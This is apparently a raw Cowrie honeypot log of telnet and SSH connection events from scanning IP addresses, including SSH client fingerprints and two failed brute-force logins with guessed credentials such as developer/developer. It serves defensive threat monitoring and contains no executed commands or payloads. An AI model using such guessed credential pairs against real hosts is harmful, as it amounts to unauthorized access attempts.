{"eventid":"cowrie.session.closed","duration":53.41835808753967,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:28.354356Z","src_ip":"38.60.198.128","session":"38c2929c8c1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":47978,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d13b4aeb94b","protocol":"telnet","message":"New connection: 45.81.23.16:47978 (10.17.0.5:23) [session: 8d13b4aeb94b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:29.053125Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":47984,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b2942316058","protocol":"telnet","message":"New connection: 45.81.23.16:47984 (10.17.0.5:23) [session: 5b2942316058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:29.095285Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":47994,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c8840cfe29f","protocol":"telnet","message":"New connection: 45.81.23.16:47994 (10.17.0.5:23) [session: 0c8840cfe29f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:29.750485Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48758,"dst_ip":"159.203.135.109","dst_port":23,"session":"c42558ca0706","protocol":"telnet","message":"New connection: 38.60.198.128:48758 (159.203.135.109:23) [session: c42558ca0706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:31.772896Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47888,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d69e64a03fb","protocol":"telnet","message":"New connection: 38.60.198.128:47888 (159.203.135.109:23) [session: 1d69e64a03fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:31.777886Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":39964,"dst_ip":"10.17.0.5","dst_port":23,"session":"55ce7186e0d5","protocol":"telnet","message":"New connection: 45.81.23.16:39964 (10.17.0.5:23) [session: 55ce7186e0d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:32.856560Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":39948,"dst_ip":"10.17.0.5","dst_port":23,"session":"a32a594afc58","protocol":"telnet","message":"New connection: 45.81.23.16:39948 (10.17.0.5:23) [session: a32a594afc58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:33.494412Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":58812,"dst_ip":"10.17.0.5","dst_port":23,"session":"16ef803c0960","protocol":"telnet","message":"New connection: 38.54.119.93:58812 (10.17.0.5:23) [session: 16ef803c0960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:33.931560Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":50916,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e5c2d7a30fc","protocol":"telnet","message":"New connection: 38.60.198.128:50916 (159.203.135.109:23) [session: 4e5c2d7a30fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:33.993763Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":51314,"dst_ip":"159.203.135.109","dst_port":23,"session":"f77bb6fcd12d","protocol":"telnet","message":"New connection: 38.60.198.128:51314 (159.203.135.109:23) [session: f77bb6fcd12d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:34.554001Z"}
{"eventid":"cowrie.session.closed","duration":39.01344013214111,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:36.488958Z","src_ip":"38.60.198.128","session":"d991361c5186","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.393570899963379,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:37.250043Z","src_ip":"45.81.23.16","session":"55ce7186e0d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.743043661117554,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:37.493403Z","src_ip":"45.81.23.16","session":"0c8840cfe29f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.130208015441895,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:38.481802Z","src_ip":"38.60.198.128","session":"9b1a8668d093","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.320905447006226,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:38.749923Z","src_ip":"38.60.198.128","session":"73de9030e43d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.26458168029785,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:39.455957Z","src_ip":"38.60.198.128","session":"2788e87d40f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.63564944267273,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:39.519015Z","src_ip":"38.60.198.128","session":"09b0fc7368e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.486598253250122,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:39.980869Z","src_ip":"45.81.23.16","session":"a32a594afc58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.33532524108887,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:40.422889Z","src_ip":"38.60.198.128","session":"f4ec43a2f099","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.389542818069458,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:41.484706Z","src_ip":"45.81.23.16","session":"5b2942316058","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.155264377593994,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:42.710787Z","src_ip":"38.60.198.128","session":"82a389566cb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":59948,"dst_ip":"159.203.135.109","dst_port":23,"session":"59b2a4c1fd24","protocol":"telnet","message":"New connection: 38.60.198.128:59948 (159.203.135.109:23) [session: 59b2a4c1fd24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:43.233901Z"}
{"eventid":"cowrie.session.closed","duration":43.988163232803345,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:44.852131Z","src_ip":"38.60.198.128","session":"0f4fc72c222a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":33694,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f9410178159","protocol":"telnet","message":"New connection: 38.60.198.128:33694 (159.203.135.109:23) [session: 9f9410178159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:45.096585Z"}
{"eventid":"cowrie.session.closed","duration":37.146416902542114,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:47.859081Z","src_ip":"38.60.198.128","session":"ccd36706a3c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":39568,"dst_ip":"10.17.0.5","dst_port":23,"session":"e33079a9ea68","protocol":"telnet","message":"New connection: 38.54.119.93:39568 (10.17.0.5:23) [session: e33079a9ea68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:47.944804Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":35704,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e9c79f32c4c","protocol":"ssh","message":"New connection: 198.98.56.205:35704 (159.203.135.109:22) [session: 8e9c79f32c4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:48.021488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:48.025697Z","src_ip":"198.98.56.205","session":"8e9c79f32c4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:48.031077Z","src_ip":"198.98.56.205","session":"8e9c79f32c4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:48.083651Z","src_ip":"198.98.56.205","session":"8e9c79f32c4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:49.094725Z","src_ip":"198.98.56.205","session":"8e9c79f32c4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.83427023887634,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:49.587848Z","src_ip":"38.60.198.128","session":"d322b6acd80e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.52780294418335,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:49.596133Z","src_ip":"38.60.198.128","session":"afc77eefc1e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41574,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4068eb81af3","protocol":"telnet","message":"New connection: 38.60.198.128:41574 (159.203.135.109:23) [session: f4068eb81af3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:52.030362Z"}
{"eventid":"cowrie.session.closed","duration":39.27004361152649,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:53.568767Z","src_ip":"38.60.198.128","session":"8c66fa1f943f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.3290159702301025,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:55.273714Z","src_ip":"38.54.119.93","session":"e33079a9ea68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45576,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c8c52421143","protocol":"telnet","message":"New connection: 38.60.198.128:45576 (159.203.135.109:23) [session: 0c8c52421143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:58.521847Z"}
{"eventid":"cowrie.session.closed","duration":48.71046757698059,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:06.173830Z","src_ip":"38.60.198.128","session":"1ed0b9ae9c17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57222,"dst_ip":"159.203.135.109","dst_port":23,"session":"6181412200d9","protocol":"telnet","message":"New connection: 38.60.198.128:57222 (159.203.135.109:23) [session: 6181412200d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:06.668921Z"}
{"eventid":"cowrie.session.closed","duration":48.57191014289856,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:07.922504Z","src_ip":"38.60.198.128","session":"b829332e967e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36022,"dst_ip":"159.203.135.109","dst_port":23,"session":"2109856dbac8","protocol":"telnet","message":"New connection: 38.60.198.128:36022 (159.203.135.109:23) [session: 2109856dbac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:12.046509Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":56654,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7c58a4fc394","protocol":"telnet","message":"New connection: 38.54.119.93:56654 (10.17.0.5:23) [session: c7c58a4fc394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:14.892010Z"}
{"eventid":"cowrie.session.closed","duration":40.90514302253723,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:15.459066Z","src_ip":"38.60.198.128","session":"f77bb6fcd12d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.33347177505493,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:16.106300Z","src_ip":"38.60.198.128","session":"c42558ca0706","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41112,"dst_ip":"159.203.135.109","dst_port":23,"session":"6224981e2ae4","protocol":"telnet","message":"New connection: 38.60.198.128:41112 (159.203.135.109:23) [session: 6224981e2ae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:17.298293Z"}
{"eventid":"cowrie.session.closed","duration":48.346230268478394,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:17.399206Z","src_ip":"45.81.23.16","session":"8d13b4aeb94b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.5510892868042,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:17.784865Z","src_ip":"38.60.198.128","session":"59b2a4c1fd24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.33994269371033,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:18.117761Z","src_ip":"38.60.198.128","session":"1d69e64a03fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.45504307746887,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:19.386522Z","src_ip":"38.54.119.93","session":"16ef803c0960","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47444,"dst_ip":"159.203.135.109","dst_port":23,"session":"35c4c8f420ba","protocol":"telnet","message":"New connection: 38.60.198.128:47444 (159.203.135.109:23) [session: 35c4c8f420ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:21.037457Z"}
{"eventid":"cowrie.session.closed","duration":6.537169933319092,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:21.429056Z","src_ip":"38.54.119.93","session":"c7c58a4fc394","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47420,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ecbf833b043","protocol":"telnet","message":"New connection: 38.60.198.128:47420 (159.203.135.109:23) [session: 0ecbf833b043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:21.950750Z"}
{"eventid":"cowrie.session.closed","duration":48.36566972732544,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:22.359353Z","src_ip":"38.60.198.128","session":"4e5c2d7a30fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45820,"dst_ip":"159.203.135.109","dst_port":23,"session":"742c2e3bb2d4","protocol":"telnet","message":"New connection: 38.60.198.128:45820 (159.203.135.109:23) [session: 742c2e3bb2d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:22.762032Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":53786,"dst_ip":"159.203.135.109","dst_port":23,"session":"9aedd1b40263","protocol":"telnet","message":"New connection: 38.60.198.128:53786 (159.203.135.109:23) [session: 9aedd1b40263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:25.868927Z"}
{"eventid":"cowrie.session.closed","duration":45.75062417984009,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:30.847102Z","src_ip":"38.60.198.128","session":"9f9410178159","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":32856,"dst_ip":"159.203.135.109","dst_port":23,"session":"783f1657cf80","protocol":"telnet","message":"New connection: 38.60.198.128:32856 (159.203.135.109:23) [session: 783f1657cf80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:31.153636Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":40264,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9fa0ced5b2d","protocol":"telnet","message":"New connection: 38.60.198.128:40264 (159.203.135.109:23) [session: f9fa0ced5b2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:36.502573Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41946,"dst_ip":"159.203.135.109","dst_port":23,"session":"79eed8b7abc1","protocol":"telnet","message":"New connection: 38.60.198.128:41946 (159.203.135.109:23) [session: 79eed8b7abc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:37.968557Z"}
{"eventid":"cowrie.session.closed","duration":46.53512191772461,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:38.565369Z","src_ip":"38.60.198.128","session":"f4068eb81af3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":44402,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d56e7646430","protocol":"telnet","message":"New connection: 38.60.198.128:44402 (159.203.135.109:23) [session: 8d56e7646430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:39.880895Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":37078,"dst_ip":"159.203.135.109","dst_port":22,"session":"09c383621e9a","protocol":"ssh","message":"New connection: 198.98.56.205:37078 (159.203.135.109:22) [session: 09c383621e9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:41.016544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:41.021063Z","src_ip":"198.98.56.205","session":"09c383621e9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:41.026611Z","src_ip":"198.98.56.205","session":"09c383621e9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wsuser","password":"wsuser123","message":"login attempt [wsuser/wsuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:41.079650Z","src_ip":"198.98.56.205","session":"09c383621e9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:42.088325Z","src_ip":"198.98.56.205","session":"09c383621e9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.790786027908325,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:47.459617Z","src_ip":"38.60.198.128","session":"6181412200d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.27258372306824,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:47.794294Z","src_ip":"38.60.198.128","session":"0c8c52421143","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34336,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a9564cc6af0","protocol":"telnet","message":"New connection: 38.60.198.128:34336 (159.203.135.109:23) [session: 2a9564cc6af0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:53.495008Z"}
{"eventid":"cowrie.session.closed","duration":44.170241594314575,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:56.216632Z","src_ip":"38.60.198.128","session":"2109856dbac8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.41091012954712,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:57.709071Z","src_ip":"38.60.198.128","session":"6224981e2ae4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":43068,"dst_ip":"159.203.135.109","dst_port":23,"session":"54bc531d4455","protocol":"telnet","message":"New connection: 38.60.198.128:43068 (159.203.135.109:23) [session: 54bc531d4455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:59.446096Z"}
